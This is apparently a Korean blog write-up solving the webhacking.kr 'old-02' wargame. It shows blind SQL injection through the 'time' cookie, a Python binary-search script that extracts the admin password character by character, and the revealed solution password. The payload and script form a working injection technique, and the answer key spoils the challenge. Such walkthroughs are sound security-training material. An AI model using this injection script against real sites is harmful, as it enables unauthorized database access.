webhacking.kr old-02 write-up


문제 첫 화면이다. restricted area라고 한다. 코드를 살펴보자.

admin.php에 접근하면 궁디를 차버린단다... 가보자.

비밀번호를 요구한다. 우린 비밀번호가 없다. 흠

근데 time 쿠키값이 있다. timestamp값이 적혀있는데 blind injection을 했더니

시간이 바뀌었다. 심지어 마지막은 01로 바뀌었다. 여러 방식으로 injection을 해보니 그냥 숫자만 입력해도 저 초값으로 들어갔다. 코드가 어떻게 되어있는겨... 암튼 blind injection이 가능하다는것을 알았으므로 천천히 하나씩 구해보자.

  1. db 개수, db명 길이, db명
  2. table 개수, 길이, 이름
  3. column 개수, 길이, 이름
  4. row값

일일이 다 코드를 삽입하기엔 그 과정들이 너무 많다.
https://crattack.tistory.com/entry/WEB-Blind-SQL-Injection-%EA%B3%B5%EA%B2%A9-%EB%B0%A9%EB%B2%95
여길 참고해서 페이로드를 작성하면 좋다.

params={}
database = ''
for j in range(20):
    mid = 0
    low = 40
    high = 129
    while(low<=high):
        mid = int((low+high)/2)
        url = "https://webhacking.kr/challenge/web-02/"
        params['time'] = '(ascii(substring((select pw from admin_area_pw),{},1))={})'.format(j+1,mid)
        res=requests.get(url, cookies=params)
        if '09:00:01' in res.text:
            database += chr(mid)
            print('find! {}'.format(database))
            break
        
        params['time'] = '(ascii(substring((select pw from admin_area_pw),{},1))>{})'.format(j+1,mid)
        res=requests.get(url, cookies=params)
        if '09:00:01' in res.text:
            low = mid+1
        else:
            high = mid-1

이건 마지막 row값을 구하는 페이로드이다. 브루트포스 방식으로 하면 너무 오래걸려서 이진탐색 알고리즘을 사용해서 코드를 작성했다. 기존에 블로그들에 널린 코드들보다 훨씬 빠르게 동작한다.

kudos_to_beistlab 를 password로 입력하면

solved!

좋은 웹페이지 즐겨찾기